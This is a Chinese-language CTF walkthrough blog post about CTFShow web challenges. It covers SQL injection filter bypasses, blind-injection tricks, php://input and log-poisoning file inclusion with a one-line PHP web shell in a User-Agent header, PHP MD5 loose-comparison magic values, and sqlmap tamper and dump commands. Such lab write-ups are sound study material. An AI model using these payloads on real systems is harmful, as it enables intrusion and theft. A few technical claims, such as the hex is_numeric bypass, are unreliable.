CTFShow Web题避坑指南:那些年我踩过的SQL注入、文件包含和代码审计的坑
CTFShow Web题避坑指南:那些年我踩过的SQL注入、文件包含和代码审计的坑
第一次参加CTF比赛时,面对Web题目总是手忙脚乱。记得有一次在SQL注入题上卡了整整三小时,最后发现只是少了个单引号。这种经历让我意识到,Web安全实战中那些看似简单的"坑",往往最能考验我们的基本功和思维灵活性。
1. SQL注入:从基础绕过到高级技巧
1.1 过滤空格的替代方案
在CTFShow的web6和web8题目中,空格过滤是最常见的障碍。很多人第一反应是尝试URL编码%20,但实际比赛中更有效的解决方案是:
- 使用注释符
/**/替代空格(如union/**/select) - 用括号包裹语句(如
union(select(1),2,3)) - 特殊字符替代:
%09(水平制表符)、%0a(换行符)
-- 典型payload示例 1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#1.2 布尔盲注的优化策略
当遇到无回显的盲注时,新手常犯的错误是逐字符爆破。更高效的做法是:
- 先确定关键长度:
and length(database())=4 - 使用二分法缩小范围:
and ascii(substr(database(),1,1))>100 - 结合位运算加速判断:
and (ascii(substr(database(),1,1))>>1)&1=1
提示:在CTFShow的web2中,善用
order by判断字段数能节省大量时间
2. 文件包含:伪协议的妙用与陷阱
2.1 php://input的实战要点
web3和web4展示了文件包含的典型场景。使用php://input时要注意:
- 必须使用POST方法提交数据
- 需要开启
allow_url_include配置 - 实际案例中的典型步骤:
POST /index.php?url=php://input HTTP/1.1 [...] <?php system('ls'); ?>2.2 日志注入的完整链条
web4的日志注入是经典案例,完整攻击流程包括:
- 确认日志路径(如
/var/log/nginx/access.log) - 注入恶意代码到User-Agent:
GET / HTTP/1.1 User-Agent: <?php system($_GET['cmd']);?> - 包含日志文件执行代码:
?url=/var/log/nginx/access.log&cmd=ls
常见错误:
- 未考虑日志轮转问题
- 权限不足无法读取日志
- 特殊字符被转义处理
3. 代码审计:从MD5碰撞到类型判断
3.1 MD5弱类型比较的魔法值
web5的解题关键在于理解PHP的类型转换。这些特殊字符串值得收藏:
| 字符串 | MD5哈希值 |
|---|---|
| QNKCDZO | 0e830400451993494058... |
| 240610708 | 0e462097431906509019... |
| s878926199a | 0e545993274517709034... |
绕过逻辑:
if(md5($v1)==md5($v2)) // 使用0e开头的魔法值3.2 ctype_alpha与is_numeric的对抗
web5还涉及类型判断函数的绕过:
ctype_alpha():只接受纯字母is_numeric():识别数字和字符串形式的数字
实战技巧:
- 对于
ctype_alpha,直接使用纯字母字符串 - 对于
is_numeric,可以使用:- 十六进制格式(如
0xDEADBEEF) - 科学计数法(如
123e45) - 前导/后导空格的字符串(如
123)
- 十六进制格式(如
4. 工具链:sqlmap的高级配置
4.1 tamper脚本的实战应用
web7展示了sqlmap的tamper脚本用法。常用脚本对比:
| 脚本名称 | 功能描述 | 适用场景 |
|---|---|---|
| space2comment | 空格转注释/**/ | 过滤空格的场景 |
| between | 用NOT 0 BETWEEN替换大于号 | 比较运算符过滤 |
| charencode | URL编码关键字符 | 特殊字符过滤 |
| randomcomments | 插入随机注释 | 混淆检测 |
典型命令:
sqlmap -u "http://example.com?id=1" --tamper=space2comment --batch -D dbname -T tablename --dump4.2 布尔盲注的自动化技巧
当面对基于时间的盲注时,可以组合使用:
--technique=T --time-sec=2 --level=5关键参数:
--threads:设置并发线程数(建议不超过10)--predict-output:预测输出模式加速检测--hex:以十六进制格式获取数据
在CTFShow的web8中,布尔盲注结合--string参数可以快速定位有效特征:
--string="Welcome back" --not-string="Error"